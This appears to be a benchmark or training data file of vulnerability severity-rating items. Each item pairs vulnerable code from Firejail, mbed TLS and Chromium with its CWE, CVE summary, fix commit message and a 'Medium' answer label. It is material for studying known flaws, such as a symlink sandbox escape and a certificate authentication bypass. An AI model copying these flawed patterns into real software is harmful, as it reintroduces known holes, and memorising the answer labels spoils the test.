Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void skel(const char *homedir, uid_t u, gid_t g) {
char *fname;
if (!arg_shell_none && (strcmp(cfg.shell,"/usr/bin/zsh") == 0 || strcmp(cfg.shell,"/bin/zsh") == 0)) {
if (asprintf(&fname, "%s/.zshrc", homedir) == -1)
errExit("asprintf");
struct stat s;
if (stat(fname, &s) == 0)
return;
if (stat("/etc/skel/.zshrc", &s) == 0) {
copy_file("/etc/skel/.zshrc", fname, u, g, 0644);
fs_logger("clone /etc/skel/.zshrc");
}
else {
touch_file_as_user(fname, u, g, 0644);
fs_logger2("touch", fname);
}
free(fname);
}
else if (!arg_shell_none && strcmp(cfg.shell,"/bin/csh") == 0) {
if (asprintf(&fname, "%s/.cshrc", homedir) == -1)
errExit("asprintf");
struct stat s;
if (stat(fname, &s) == 0)
return;
if (stat("/etc/skel/.cshrc", &s) == 0) {
copy_file("/etc/skel/.cshrc", fname, u, g, 0644);
fs_logger("clone /etc/skel/.cshrc");
}
else {
touch_file_as_user(fname, u, g, 0644);
fs_logger2("touch", fname);
}
free(fname);
}
else {
if (asprintf(&fname, "%s/.bashrc", homedir) == -1)
errExit("asprintf");
struct stat s;
if (stat(fname, &s) == 0)
return;
if (stat("/etc/skel/.bashrc", &s) == 0) {
copy_file("/etc/skel/.bashrc", fname, u, g, 0644);
fs_logger("clone /etc/skel/.bashrc");
}
free(fname);
}
}
Vulnerability Type:
CWE ID: CWE-269
Summary: Firejail before 0.9.44.6 and 0.9.38.x LTS before 0.9.38.10 LTS does not comprehensively address dotfile cases during its attempt to prevent accessing user files with an euid of zero, which allows local users to conduct sandbox-escape attacks via vectors involving a symlink and the --private option. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-5180.
Commit Message: security fix | Medium | 168,371 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int mbedtls_x509_crt_verify_with_profile( mbedtls_x509_crt *crt,
mbedtls_x509_crt *trust_ca,
mbedtls_x509_crl *ca_crl,
const mbedtls_x509_crt_profile *profile,
const char *cn, uint32_t *flags,
int (*f_vrfy)(void *, mbedtls_x509_crt *, int, uint32_t *),
void *p_vrfy )
{
size_t cn_len;
int ret;
int pathlen = 0, selfsigned = 0;
mbedtls_x509_crt *parent;
mbedtls_x509_name *name;
mbedtls_x509_sequence *cur = NULL;
mbedtls_pk_type_t pk_type;
*flags = 0;
if( profile == NULL )
{
ret = MBEDTLS_ERR_X509_BAD_INPUT_DATA;
goto exit;
}
if( cn != NULL )
{
name = &crt->subject;
cn_len = strlen( cn );
if( crt->ext_types & MBEDTLS_X509_EXT_SUBJECT_ALT_NAME )
{
cur = &crt->subject_alt_names;
while( cur != NULL )
{
if( cur->buf.len == cn_len &&
x509_memcasecmp( cn, cur->buf.p, cn_len ) == 0 )
break;
if( cur->buf.len > 2 &&
memcmp( cur->buf.p, "*.", 2 ) == 0 &&
x509_check_wildcard( cn, &cur->buf ) == 0 )
{
break;
}
cur = cur->next;
}
if( cur == NULL )
*flags |= MBEDTLS_X509_BADCERT_CN_MISMATCH;
}
else
{
while( name != NULL )
{
if( MBEDTLS_OID_CMP( MBEDTLS_OID_AT_CN, &name->oid ) == 0 )
{
if( name->val.len == cn_len &&
x509_memcasecmp( name->val.p, cn, cn_len ) == 0 )
break;
if( name->val.len > 2 &&
memcmp( name->val.p, "*.", 2 ) == 0 &&
x509_check_wildcard( cn, &name->val ) == 0 )
break;
}
name = name->next;
}
if( name == NULL )
*flags |= MBEDTLS_X509_BADCERT_CN_MISMATCH;
}
}
/* Check the type and size of the key */
pk_type = mbedtls_pk_get_type( &crt->pk );
if( x509_profile_check_pk_alg( profile, pk_type ) != 0 )
*flags |= MBEDTLS_X509_BADCERT_BAD_PK;
if( x509_profile_check_key( profile, pk_type, &crt->pk ) != 0 )
*flags |= MBEDTLS_X509_BADCERT_BAD_KEY;
/* Look for a parent in trusted CAs */
for( parent = trust_ca; parent != NULL; parent = parent->next )
{
if( x509_crt_check_parent( crt, parent, 0, pathlen == 0 ) == 0 )
break;
}
if( parent != NULL )
{
ret = x509_crt_verify_top( crt, parent, ca_crl, profile,
pathlen, selfsigned, flags, f_vrfy, p_vrfy );
if( ret != 0 )
goto exit;
}
else
{
/* Look for a parent upwards the chain */
for( parent = crt->next; parent != NULL; parent = parent->next )
if( x509_crt_check_parent( crt, parent, 0, pathlen == 0 ) == 0 )
break;
/* Are we part of the chain or at the top? */
if( parent != NULL )
{
ret = x509_crt_verify_child( crt, parent, trust_ca, ca_crl, profile,
pathlen, selfsigned, flags, f_vrfy, p_vrfy );
if( ret != 0 )
goto exit;
}
else
{
ret = x509_crt_verify_top( crt, trust_ca, ca_crl, profile,
pathlen, selfsigned, flags, f_vrfy, p_vrfy );
if( ret != 0 )
goto exit;
}
}
exit:
if( ret != 0 )
{
*flags = (uint32_t) -1;
return( ret );
}
if( *flags != 0 )
return( MBEDTLS_ERR_X509_CERT_VERIFY_FAILED );
return( 0 );
}
Vulnerability Type: Bypass
CWE ID: CWE-287
Summary: ARM mbed TLS before 1.3.21 and 2.x before 2.1.9, if optional authentication is configured, allows remote attackers to bypass peer authentication via an X.509 certificate chain with many intermediates. NOTE: although mbed TLS was formerly known as PolarSSL, the releases shipped with the PolarSSL name are not affected.
Commit Message: Only return VERIFY_FAILED from a single point
Everything else is a fatal error. Also improve documentation about that for
the vrfy callback. | Medium | 170,019 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void gatherSecurityPolicyViolationEventData(
SecurityPolicyViolationEventInit& init,
ExecutionContext* context,
const String& directiveText,
const ContentSecurityPolicy::DirectiveType& effectiveType,
const KURL& blockedURL,
const String& header,
RedirectStatus redirectStatus,
ContentSecurityPolicyHeaderType headerType,
ContentSecurityPolicy::ViolationType violationType,
int contextLine,
const String& scriptSource) {
if (effectiveType == ContentSecurityPolicy::DirectiveType::FrameAncestors) {
init.setDocumentURI(blockedURL.getString());
init.setBlockedURI(blockedURL.getString());
} else {
init.setDocumentURI(context->url().getString());
switch (violationType) {
case ContentSecurityPolicy::InlineViolation:
init.setBlockedURI("inline");
break;
case ContentSecurityPolicy::EvalViolation:
init.setBlockedURI("eval");
break;
case ContentSecurityPolicy::URLViolation:
init.setBlockedURI(stripURLForUseInReport(
context, blockedURL, redirectStatus, effectiveType));
break;
}
}
String effectiveDirective =
ContentSecurityPolicy::getDirectiveName(effectiveType);
init.setViolatedDirective(effectiveDirective);
init.setEffectiveDirective(effectiveDirective);
init.setOriginalPolicy(header);
init.setDisposition(headerType == ContentSecurityPolicyHeaderTypeEnforce
? "enforce"
: "report");
init.setSourceFile(String());
init.setLineNumber(contextLine);
init.setColumnNumber(0);
init.setStatusCode(0);
if (context->isDocument()) {
Document* document = toDocument(context);
DCHECK(document);
init.setReferrer(document->referrer());
if (!SecurityOrigin::isSecure(context->url()) && document->loader())
init.setStatusCode(document->loader()->response().httpStatusCode());
}
std::unique_ptr<SourceLocation> location = SourceLocation::capture(context);
if (location->lineNumber()) {
KURL source = KURL(ParsedURLString, location->url());
init.setSourceFile(
stripURLForUseInReport(context, source, redirectStatus, effectiveType));
init.setLineNumber(location->lineNumber());
init.setColumnNumber(location->columnNumber());
}
if (!scriptSource.isEmpty())
init.setSample(scriptSource.stripWhiteSpace().left(40));
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: Inappropriate implementation in CSP reporting in Blink in Google Chrome prior to 59.0.3071.86 for Linux, Windows, and Mac, and 59.0.3071.92 for Android, allowed a remote attacker to obtain the value of url fragments via a crafted HTML page.
Commit Message: CSP: Strip the fragment from reported URLs.
We should have been stripping the fragment from the URL we report for
CSP violations, but we weren't. Now we are, by running the URLs through
`stripURLForUseInReport()`, which implements the stripping algorithm
from CSP2: https://www.w3.org/TR/CSP2/#strip-uri-for-reporting
Eventually, we will migrate more completely to the CSP3 world that
doesn't require such detailed stripping, as it exposes less data to the
reports, but we're not there yet.
BUG=678776
Review-Url: https://codereview.chromium.org/2619783002
Cr-Commit-Position: refs/heads/master@{#458045} | Medium | 172,361 |
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